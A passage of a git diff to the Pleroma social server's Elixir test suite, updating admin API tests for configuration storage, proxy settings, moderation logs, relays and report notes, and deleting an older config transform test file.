+ "key" => ":queues",
"value" => [
- %{
- "tuple" => [
- ":http",
- [
- %{"tuple" => [":ip", %{"tuple" => [127, 0, 0, 1]}]},
- %{"tuple" => [":dispatch", ["{:_,
- [
- {\"/api/v1/streaming\", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {\"/websocket\", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, [path: \"/websocket\"]}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]}"]]}
- ]
- ]
- }
+ %{"tuple" => [":federator_incoming", 50]},
+ %{"tuple" => [":federator_outgoing", 50]},
+ %{"tuple" => [":web_push", 50]},
+ %{"tuple" => [":mailer", 10]},
+ %{"tuple" => [":transmogrifier", 20]},
+ %{"tuple" => [":scheduled_activities", 10]},
+ %{"tuple" => [":background", 5]}
]
}
]
})
- dispatch_string =
- "{:_, [{\"/api/v1/streaming\", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, " <>
- "{\"/websocket\", Phoenix.Endpoint.CowboyWebSocket, {Phoenix.Transports.WebSocket, " <>
- "{Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, [path: \"/websocket\"]}}}, " <>
- "{:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}]}"
-
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma",
- "key" => "Pleroma.Web.Endpoint.NotReal",
+ "group" => ":oban",
+ "key" => ":queues",
"value" => [
- %{
- "tuple" => [
- ":http",
- [
- %{"tuple" => [":ip", %{"tuple" => [127, 0, 0, 1]}]},
- %{
- "tuple" => [
- ":dispatch",
- [
- dispatch_string
- ]
- ]
- }
- ]
- ]
- }
+ %{"tuple" => [":federator_incoming", 50]},
+ %{"tuple" => [":federator_outgoing", 50]},
+ %{"tuple" => [":web_push", 50]},
+ %{"tuple" => [":mailer", 10]},
+ %{"tuple" => [":transmogrifier", 20]},
+ %{"tuple" => [":scheduled_activities", 10]},
+ %{"tuple" => [":background", 5]}
+ ],
+ "db" => [
+ ":federator_incoming",
+ ":federator_outgoing",
+ ":web_push",
+ ":mailer",
+ ":transmogrifier",
+ ":scheduled_activities",
+ ":background"
]
}
]
}
end
- test "queues key as atom", %{conn: conn} do
+ test "delete part of settings by atom subkeys", %{conn: conn} do
+ config =
+ insert(:config,
+ key: ":keyaa1",
+ value: :erlang.term_to_binary(subkey1: "val1", subkey2: "val2", subkey3: "val3")
+ )
+
conn =
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
- "group" => "pleroma_job_queue",
- "key" => ":queues",
- "value" => [
- %{"tuple" => [":federator_incoming", 50]},
- %{"tuple" => [":federator_outgoing", 50]},
- %{"tuple" => [":web_push", 50]},
- %{"tuple" => [":mailer", 10]},
- %{"tuple" => [":transmogrifier", 20]},
- %{"tuple" => [":scheduled_activities", 10]},
- %{"tuple" => [":background", 5]}
+ group: config.group,
+ key: config.key,
+ subkeys: [":subkey1", ":subkey3"],
+ delete: true
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":keyaa1",
+ "value" => [%{"tuple" => [":subkey2", "val2"]}],
+ "db" => [":subkey2"]
+ }
+ ]
+ }
+ end
+
+ test "proxy tuple localhost", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{
+ group: ":pleroma",
+ key: ":http",
+ value: [
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
]
}
]
@@ -1886,21 +2884,602 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
- "group" => "pleroma_job_queue",
- "key" => ":queues",
+ "group" => ":pleroma",
+ "key" => ":http",
"value" => [
- %{"tuple" => [":federator_incoming", 50]},
- %{"tuple" => [":federator_outgoing", 50]},
- %{"tuple" => [":web_push", 50]},
- %{"tuple" => [":mailer", 10]},
- %{"tuple" => [":transmogrifier", 20]},
- %{"tuple" => [":scheduled_activities", 10]},
- %{"tuple" => [":background", 5]}
- ]
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
+ ],
+ "db" => [":proxy_url", ":send_user_agent"]
}
]
}
end
+
+ test "proxy tuple domain", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{
+ group: ":pleroma",
+ key: ":http",
+ value: [
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
+ ]
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":http",
+ "value" => [
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
+ ],
+ "db" => [":proxy_url", ":send_user_agent"]
+ }
+ ]
+ }
+ end
+
+ test "proxy tuple ip", %{conn: conn} do
+ conn =
+ post(conn, "/api/pleroma/admin/config", %{
+ configs: [
+ %{
+ group: ":pleroma",
+ key: ":http",
+ value: [
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
+ ]
+ }
+ ]
+ })
+
+ assert json_response(conn, 200) == %{
+ "configs" => [
+ %{
+ "group" => ":pleroma",
+ "key" => ":http",
+ "value" => [
+ %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]},
+ %{"tuple" => [":send_user_agent", false]}
+ ],
+ "db" => [":proxy_url", ":send_user_agent"]
+ }
+ ]
+ }
+ end
+ end
+
+ describe "config mix tasks run" do
+ setup do
+ Mix.shell(Mix.Shell.Quiet)
+
+ on_exit(fn ->
+ Mix.shell(Mix.Shell.IO)
+ end)
+
+ :ok
+ end
+
+ clear_config(:configurable_from_database) do
+ Pleroma.Config.put(:configurable_from_database, true)
+ end
+
+ clear_config([:feed, :post_title]) do
+ Pleroma.Config.put([:feed, :post_title], %{max_length: 100, omission: "…"})
+ end
+
+ test "transfer settings to DB and to file", %{conn: conn} do
+ assert Repo.all(Pleroma.ConfigDB) == []
+ Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs")
+ assert Repo.aggregate(Pleroma.ConfigDB, :count, :id) > 0
+
+ conn = get(conn, "/api/pleroma/admin/config/migrate_from_db")
+
+ assert json_response(conn, 200) == %{}
+ assert Repo.all(Pleroma.ConfigDB) == []
+ end
+
+ test "returns error if configuration from database is off", %{conn: conn} do
+ initial = Pleroma.Config.get(:configurable_from_database)
+ on_exit(fn -> Pleroma.Config.put(:configurable_from_database, initial) end)
+ Pleroma.Config.put(:configurable_from_database, false)
+
+ conn = get(conn, "/api/pleroma/admin/config/migrate_from_db")
+
+ assert json_response(conn, 400) ==
+ "To use this endpoint you need to enable configuration from database."
+
+ assert Repo.all(Pleroma.ConfigDB) == []
+ end
+ end
+
+ describe "GET /api/pleroma/admin/users/:nickname/statuses" do
+ setup do
+ user = insert(:user)
+
+ date1 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!()
+ date2 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!()
+ date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!()
+
+ insert(:note_activity, user: user, published: date1)
+ insert(:note_activity, user: user, published: date2)
+ insert(:note_activity, user: user, published: date3)
+
+ %{user: user}
+ end
+
+ test "renders user's statuses", %{conn: conn, user: user} do
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses")
+
+ assert json_response(conn, 200) |> length() == 3
+ end
+
+ test "renders user's statuses with a limit", %{conn: conn, user: user} do
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?page_size=2")
+
+ assert json_response(conn, 200) |> length() == 2
+ end
+
+ test "doesn't return private statuses by default", %{conn: conn, user: user} do
+ {:ok, _private_status} =
+ CommonAPI.post(user, %{"status" => "private", "visibility" => "private"})
+
+ {:ok, _public_status} =
+ CommonAPI.post(user, %{"status" => "public", "visibility" => "public"})
+
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses")
+
+ assert json_response(conn, 200) |> length() == 4
+ end
+
+ test "returns private statuses with godmode on", %{conn: conn, user: user} do
+ {:ok, _private_status} =
+ CommonAPI.post(user, %{"status" => "private", "visibility" => "private"})
+
+ {:ok, _public_status} =
+ CommonAPI.post(user, %{"status" => "public", "visibility" => "public"})
+
+ conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?godmode=true")
+
+ assert json_response(conn, 200) |> length() == 5
+ end
+ end
+
+ describe "GET /api/pleroma/admin/moderation_log" do
+ setup do
+ moderator = insert(:user, is_moderator: true)
+
+ %{moderator: moderator}
+ end
+
+ test "returns the log", %{conn: conn, admin: admin} do
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second)
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second)
+ })
+
+ conn = get(conn, "/api/pleroma/admin/moderation_log")
+
+ response = json_response(conn, 200)
+ [first_entry, second_entry] = response["items"]
+
+ assert response["total"] == 2
+ assert first_entry["data"]["action"] == "relay_unfollow"
+
+ assert first_entry["message"] ==
+ "@#{admin.nickname} unfollowed relay: https://example.org/relay"
+
+ assert second_entry["data"]["action"] == "relay_follow"
+
+ assert second_entry["message"] ==
+ "@#{admin.nickname} followed relay: https://example.org/relay"
+ end
+
+ test "returns the log with pagination", %{conn: conn, admin: admin} do
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second)
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second)
+ })
+
+ conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1")
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 2
+ assert response1["items"] |> length() == 1
+ assert first_entry["data"]["action"] == "relay_unfollow"
+
+ assert first_entry["message"] ==
+ "@#{admin.nickname} unfollowed relay: https://example.org/relay"
+
+ conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2")
+
+ response2 = json_response(conn2, 200)
+ [second_entry] = response2["items"]
+
+ assert response2["total"] == 2
+ assert response2["items"] |> length() == 1
+ assert second_entry["data"]["action"] == "relay_follow"
+
+ assert second_entry["message"] ==
+ "@#{admin.nickname} followed relay: https://example.org/relay"
+ end
+
+ test "filters log by date", %{conn: conn, admin: admin} do
+ first_date = "2017-08-15T15:47:06Z"
+ second_date = "2017-08-20T15:47:06Z"
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.from_iso8601!(first_date)
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ },
+ inserted_at: NaiveDateTime.from_iso8601!(second_date)
+ })
+
+ conn1 =
+ get(
+ conn,
+ "/api/pleroma/admin/moderation_log?start_date=#{second_date}"
+ )
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+ assert first_entry["data"]["action"] == "relay_unfollow"
+
+ assert first_entry["message"] ==
+ "@#{admin.nickname} unfollowed relay: https://example.org/relay"
+ end
+
+ test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => admin.id,
+ "nickname" => admin.nickname,
+ "type" => "user"
+ },
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ }
+ })
+
+ Repo.insert(%ModerationLog{
+ data: %{
+ actor: %{
+ "id" => moderator.id,
+ "nickname" => moderator.nickname,
+ "type" => "user"
+ },
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ }
+ })
+
+ conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}")
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+ assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id
+ end
+
+ test "returns log filtered by search", %{conn: conn, moderator: moderator} do
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_follow",
+ target: "https://example.org/relay"
+ })
+
+ ModerationLog.insert_log(%{
+ actor: moderator,
+ action: "relay_unfollow",
+ target: "https://example.org/relay"
+ })
+
+ conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo")
+
+ response1 = json_response(conn1, 200)
+ [first_entry] = response1["items"]
+
+ assert response1["total"] == 1
+
+ assert get_in(first_entry, ["data", "message"]) ==
+ "@#{moderator.nickname} unfollowed relay: https://example.org/relay"
+ end
+ end
+
+ describe "PATCH /users/:nickname/force_password_reset" do
+ test "sets password_reset_pending to true", %{conn: conn} do
+ user = insert(:user)
+ assert user.password_reset_pending == false
+
+ conn =
+ patch(conn, "/api/pleroma/admin/users/force_password_reset", %{nicknames: [user.nickname]})
+
+ assert json_response(conn, 204) == ""
+
+ ObanHelpers.perform_all()
+
+ assert User.get_by_id(user.id).password_reset_pending == true
+ end
+ end
+
+ describe "relays" do
+ test "POST /relay", %{conn: conn, admin: admin} do
+ conn =
+ post(conn, "/api/pleroma/admin/relay", %{
+ relay_url: "http://mastodon.example.org/users/admin"
+ })
+
+ assert json_response(conn, 200) == "http://mastodon.example.org/users/admin"
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin"
+ end
+
+ test "GET /relay", %{conn: conn} do
+ relay_user = Pleroma.Web.ActivityPub.Relay.get_actor()
+
+ ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"]
+ |> Enum.each(fn ap_id ->
+ {:ok, user} = User.get_or_fetch_by_ap_id(ap_id)
+ User.follow(relay_user, user)
+ end)
+
+ conn = get(conn, "/api/pleroma/admin/relay")
+
+ assert json_response(conn, 200)["relays"] -- ["mastodon.example.org", "mstdn.io"] == []
+ end
+
+ test "DELETE /relay", %{conn: conn, admin: admin} do
+ post(conn, "/api/pleroma/admin/relay", %{
+ relay_url: "http://mastodon.example.org/users/admin"
+ })
+
+ conn =
+ delete(conn, "/api/pleroma/admin/relay", %{
+ relay_url: "http://mastodon.example.org/users/admin"
+ })
+
+ assert json_response(conn, 200) == "http://mastodon.example.org/users/admin"
+
+ [log_entry_one, log_entry_two] = Repo.all(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry_one) ==
+ "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin"
+
+ assert ModerationLog.get_log_entry_message(log_entry_two) ==
+ "@#{admin.nickname} unfollowed relay: http://mastodon.example.org/users/admin"
+ end
+ end
+
+ describe "instances" do
+ test "GET /instances/:instance/statuses", %{conn: conn} do
+ user = insert(:user, local: false, nickname: "archaeme@archae.me")
+ user2 = insert(:user, local: false, nickname: "test@test.com")
+ insert_pair(:note_activity, user: user)
+ insert(:note_activity, user: user2)
+
+ ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses")
+
+ response = json_response(ret_conn, 200)
+
+ assert length(response) == 2
+
+ ret_conn = get(conn, "/api/pleroma/admin/instances/test.com/statuses")
+
+ response = json_response(ret_conn, 200)
+
+ assert length(response) == 1
+
+ ret_conn = get(conn, "/api/pleroma/admin/instances/nonexistent.com/statuses")
+
+ response = json_response(ret_conn, 200)
+
+ assert Enum.empty?(response)
+ end
+ end
+
+ describe "PATCH /confirm_email" do
+ test "it confirms emails of two users", %{conn: conn, admin: admin} do
+ [first_user, second_user] = insert_pair(:user, confirmation_pending: true)
+
+ assert first_user.confirmation_pending == true
+ assert second_user.confirmation_pending == true
+
+ ret_conn =
+ patch(conn, "/api/pleroma/admin/users/confirm_email", %{
+ nicknames: [
+ first_user.nickname,
+ second_user.nickname
+ ]
+ })
+
+ assert ret_conn.status == 200
+
+ assert first_user.confirmation_pending == true
+ assert second_user.confirmation_pending == true
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} confirmed email for users: @#{first_user.nickname}, @#{
+ second_user.nickname
+ }"
+ end
+ end
+
+ describe "PATCH /resend_confirmation_email" do
+ test "it resend emails for two users", %{conn: conn, admin: admin} do
+ [first_user, second_user] = insert_pair(:user, confirmation_pending: true)
+
+ ret_conn =
+ patch(conn, "/api/pleroma/admin/users/resend_confirmation_email", %{
+ nicknames: [
+ first_user.nickname,
+ second_user.nickname
+ ]
+ })
+
+ assert ret_conn.status == 200
+
+ log_entry = Repo.one(ModerationLog)
+
+ assert ModerationLog.get_log_entry_message(log_entry) ==
+ "@#{admin.nickname} re-sent confirmation email for users: @#{first_user.nickname}, @#{
+ second_user.nickname
+ }"
+ end
+ end
+
+ describe "POST /reports/:id/notes" do
+ setup %{conn: conn, admin: admin} do
+ [reporter, target_user] = insert_pair(:user)
+ activity = insert(:note_activity, user: target_user)
+
+ {:ok, %{id: report_id}} =
+ CommonAPI.report(reporter, %{
+ "account_id" => target_user.id,
+ "comment" => "I feel offended",
+ "status_ids" => [activity.id]
+ })
+
+ post(conn, "/api/pleroma/admin/reports/#{report_id}/notes", %{
+ content: "this is disgusting!"
+ })
+
+ post(conn, "/api/pleroma/admin/reports/#{report_id}/notes", %{
+ content: "this is disgusting2!"
+ })
+
+ %{
+ admin_id: admin.id,
+ report_id: report_id
+ }
+ end
+
+ test "it creates report note", %{admin_id: admin_id, report_id: report_id} do
+ [note, _] = Repo.all(ReportNote)
+
+ assert %{
+ activity_id: ^report_id,
+ content: "this is disgusting!",
+ user_id: ^admin_id
+ } = note
+ end
+
+ test "it returns reports with notes", %{conn: conn, admin: admin} do
+ conn = get(conn, "/api/pleroma/admin/reports")
+
+ response = json_response(conn, 200)
+ notes = hd(response["reports"])["notes"]
+ [note, _] = notes
+
+ assert note["user"]["nickname"] == admin.nickname
+ assert note["content"] == "this is disgusting!"
+ assert note["created_at"]
+ assert response["total"] == 1
+ end
+
+ test "it deletes the note", %{conn: conn, report_id: report_id} do
+ assert ReportNote |> Repo.all() |> length() == 2
+
+ [note, _] = Repo.all(ReportNote)
+
+ delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}")
+
+ assert ReportNote |> Repo.all() |> length() == 1
+ end
+ end
+
+ test "GET /api/pleroma/admin/config/descriptions", %{conn: conn} do
+ admin = insert(:user, is_admin: true)
+
+ conn =
+ assign(conn, :user, admin)
+ |> get("/api/pleroma/admin/config/descriptions")
+
+ assert [child | _others] = json_response(conn, 200)
+
+ assert child["children"]
+ assert child["key"]
+ assert String.starts_with?(child["group"], ":")
+ assert child["description"]
end
end
diff --git a/test/web/admin_api/config_test.exs b/test/web/admin_api/config_test.exs
deleted file mode 100644
index d41666ef3..000000000
--- a/test/web/admin_api/config_test.exs
+++ /dev/null
@@ -1,465 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.AdminAPI.ConfigTest do
- use Pleroma.DataCase, async: true
- import Pleroma.Factory
- alias Pleroma.Web.AdminAPI.Config
-
- test "get_by_key/1" do
- config = insert(:config)
- insert(:config)
-
- assert config == Config.get_by_params(%{group: config.group, key: config.key})
- end
-
- test "create/1" do
- {:ok, config} = Config.create(%{group: "pleroma", key: "some_key", value: "some_value"})
- assert config == Config.get_by_params(%{group: "pleroma", key: "some_key"})
- end
-
- test "update/1" do
- config = insert(:config)
- {:ok, updated} = Config.update(config, %{value: "some_value"})
- loaded = Config.get_by_params(%{group: config.group, key: config.key})
- assert loaded == updated
- end
-
- test "update_or_create/1" do
- config = insert(:config)
- key2 = "another_key"
-
- params = [
- %{group: "pleroma", key: key2, value: "another_value"},
- %{group: config.group, key: config.key, value: "new_value"}
- ]
-
- assert Repo.all(Config) |> length() == 1
-
- Enum.each(params, &Config.update_or_create(&1))
-
- assert Repo.all(Config) |> length() == 2
-
- config1 = Config.get_by_params(%{group: config.group, key: config.key})
- config2 = Config.get_by_params(%{group: "pleroma", key: key2})
-
- assert config1.value == Config.transform("new_value")
- assert config2.value == Config.transform("another_value")
- end
-
- test "delete/1" do
- config = insert(:config)
- {:ok, _} = Config.delete(%{key: config.key, group: config.group})
- refute Config.get_by_params(%{key: config.key, group: config.group})
- end
-
- describe "transform/1" do
- test "string" do
- binary = Config.transform("value as string")
- assert binary == :erlang.term_to_binary("value as string")
- assert Config.from_binary(binary) == "value as string"
- end
-
- test "boolean" do
- binary = Config.transform(false)
- assert binary == :erlang.term_to_binary(false)
- assert Config.from_binary(binary) == false
- end
-
- test "nil" do
- binary = Config.transform(nil)
- assert binary == :erlang.term_to_binary(nil)
- assert Config.from_binary(binary) == nil
- end
-
- test "integer" do
- binary = Config.transform(150)
- assert binary == :erlang.term_to_binary(150)
- assert Config.from_binary(binary) == 150
- end
-
- test "atom" do
- binary = Config.transform(":atom")
- assert binary == :erlang.term_to_binary(:atom)
- assert Config.from_binary(binary) == :atom
- end
-
- test "pleroma module" do
- binary = Config.transform("Pleroma.Bookmark")
- assert binary == :erlang.term_to_binary(Pleroma.Bookmark)
- assert Config.from_binary(binary) == Pleroma.Bookmark
- end
-
- test "phoenix module" do
- binary = Config.transform("Phoenix.Socket.V1.JSONSerializer")
- assert binary == :erlang.term_to_binary(Phoenix.Socket.V1.JSONSerializer)
- assert Config.from_binary(binary) == Phoenix.Socket.V1.JSONSerializer
- end
-
- test "sigil" do
- binary = Config.transform("~r/comp[lL][aA][iI][nN]er/")
- assert binary == :erlang.term_to_binary(~r/comp[lL][aA][iI][nN]er/)
- assert Config.from_binary(binary) == ~r/comp[lL][aA][iI][nN]er/
- end
-
- test "2 child tuple" do
- binary = Config.transform(%{"tuple" => ["v1", ":v2"]})
- assert binary == :erlang.term_to_binary({"v1", :v2})
- assert Config.from_binary(binary) == {"v1", :v2}
- end
-
- test "tuple with n childs" do
- binary =
- Config.transform(%{
- "tuple" => [
- "v1",
- ":v2",
- "Pleroma.Bookmark",
- 150,
- false,
- "Phoenix.Socket.V1.JSONSerializer"
- ]
- })
-
- assert binary ==
- :erlang.term_to_binary(
- {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer}
- )
-
- assert Config.from_binary(binary) ==
- {"v1", :v2, Pleroma.Bookmark, 150, false, Phoenix.Socket.V1.JSONSerializer}
- end
-
- test "tuple with dispatch key" do
- binary = Config.transform(%{"tuple" => [":dispatch", ["{:_,
- [
- {\"/api/v1/streaming\", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {\"/websocket\", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, [path: \"/websocket\"]}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]}"]]})
-
- assert binary ==
- :erlang.term_to_binary(
- {:dispatch,
- [
- {:_,
- [
- {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, [path: "/websocket"]}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]}
- ]}
- )
-
- assert Config.from_binary(binary) ==
- {:dispatch,
- [
- {:_,
- [
- {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []},
- {"/websocket", Phoenix.Endpoint.CowboyWebSocket,
- {Phoenix.Transports.WebSocket,
- {Pleroma.Web.Endpoint, Pleroma.Web.UserSocket, [path: "/websocket"]}}},
- {:_, Phoenix.Endpoint.Cowboy2Handler, {Pleroma.Web.Endpoint, []}}
- ]}
- ]}
- end
-
- test "map with string key" do
- binary = Config.transform(%{"key" => "value"})
- assert binary == :erlang.term_to_binary(%{"key" => "value"})
- assert Config.from_binary(binary) == %{"key" => "value"}
- end
-
- test "map with atom key" do
- binary = Config.transform(%{":key" => "value"})
- assert binary == :erlang.term_to_binary(%{key: "value"})
- assert Config.from_binary(binary) == %{key: "value"}
- end
-
- test "list of strings" do
- binary = Config.transform(["v1", "v2", "v3"])
- assert binary == :erlang.term_to_binary(["v1", "v2", "v3"])
- assert Config.from_binary(binary) == ["v1", "v2", "v3"]
- end
-
- test "list of modules" do
- binary = Config.transform(["Pleroma.Repo", "Pleroma.Activity"])
- assert binary == :erlang.term_to_binary([Pleroma.Repo, Pleroma.Activity])
- assert Config.from_binary(binary) == [Pleroma.Repo, Pleroma.Activity]
- end
-
- test "list of atoms" do
- binary = Config.transform([":v1", ":v2", ":v3"])
- assert binary == :erlang.term_to_binary([:v1, :v2, :v3])
- assert Config.from_binary(binary) == [:v1, :v2, :v3]
- end
-
- test "list of mixed values" do
- binary =
- Config.transform([
- "v1",
- ":v2",
- "Pleroma.Repo",
- "Phoenix.Socket.V1.JSONSerializer",
- 15,
- false
- ])
-
- assert binary ==
- :erlang.term_to_binary([
- "v1",
- :v2,
- Pleroma.Repo,
- Phoenix.Socket.V1.JSONSerializer,
- 15,
- false
- ])
-
- assert Config.from_binary(binary) == [
- "v1",
- :v2,
- Pleroma.Repo,
- Phoenix.Socket.V1.JSONSerializer,
- 15,
- false
- ]
- end
-
- test "simple keyword" do
- binary = Config.transform([%{"tuple" => [":key", "value"]}])
- assert binary == :erlang.term_to_binary([{:key, "value"}])
- assert Config.from_binary(binary) == [{:key, "value"}]
- assert Config.from_binary(binary) == [key: "value"]
- end
-
- test "keyword" do
- binary =
- Config.transform([
- %{"tuple" => [":types", "Pleroma.PostgresTypes"]},
- %{"tuple" => [":telemetry_event", ["Pleroma.Repo.Instrumenter"]]},
- %{"tuple" => [":migration_lock", nil]},
- %{"tuple" => [":key1", 150]},
- %{"tuple" => [":key2", "string"]}
- ])
-
- assert binary ==
- :erlang.term_to_binary(
- types: Pleroma.PostgresTypes,
- telemetry_event: [Pleroma.Repo.Instrumenter],
- migration_lock: nil,
- key1: 150,
- key2: "string"
- )
-
- assert Config.from_binary(binary) == [
- types: Pleroma.PostgresTypes,
- telemetry_event: [Pleroma.Repo.Instrumenter],
- migration_lock: nil,
- key1: 150,
- key2: "string"
- ]
- end
-
- test "complex keyword with nested mixed childs" do
- binary =
- Config.transform([
- %{"tuple" => [":uploader", "Pleroma.Uploaders.Local"]},
- %{"tuple" => [":filters", ["Pleroma.Upload.Filter.Dedupe"]]},
- %{"tuple" => [":link_name", true]},
- %{"tuple" => [":proxy_remote", false]},
- %{"tuple" => [":common_map", %{":key" => "value"}]},
- %{
- "tuple" => [
- ":proxy_opts",
- [
- %{"tuple" => [":redirect_on_failure", false]},
- %{"tuple" => [":max_body_length", 1_048_576]},
- %{
- "tuple" => [
- ":http",
- [%{"tuple" => [":follow_redirect", true]}, %{"tuple" => [":pool", ":upload"]}]
- ]
- }
- ]
- ]
- }
- ])
-
- assert binary ==
- :erlang.term_to_binary(
- uploader: Pleroma.Uploaders.Local,
- filters: [Pleroma.Upload.Filter.Dedupe],
- link_name: true,
- proxy_remote: false,
- common_map: %{key: "value"},
- proxy_opts: [
- redirect_on_failure: false,
- max_body_length: 1_048_576,
- http: [
- follow_redirect: true,
- pool: :upload
- ]
- ]
- )
-
- assert Config.from_binary(binary) ==
- [
- uploader: Pleroma.Uploaders.Local,
- filters: [Pleroma.Upload.Filter.Dedupe],
- link_name: true,
- proxy_remote: false,
- common_map: %{key: "value"},
- proxy_opts: [
- redirect_on_failure: false,
- max_body_length: 1_048_576,
- http: [
- follow_redirect: true,
- pool: :upload
- ]
- ]
- ]
- end
-
- test "common keyword" do
- binary =
- Config.transform([
- %{"tuple" => [":level", ":warn"]},
- %{"tuple" => [":meta", [":all"]]},
- %{"tuple" => [":path", ""]},
- %{"tuple" => [":val", nil]},
- %{"tuple" => [":webhook_url", "https://hooks.slack.com/services/YOUR-KEY-HERE"]}
- ])
-
- assert binary ==
- :erlang.term_to_binary(
- level: :warn,
- meta: [:all],
- path: "",
- val: nil,
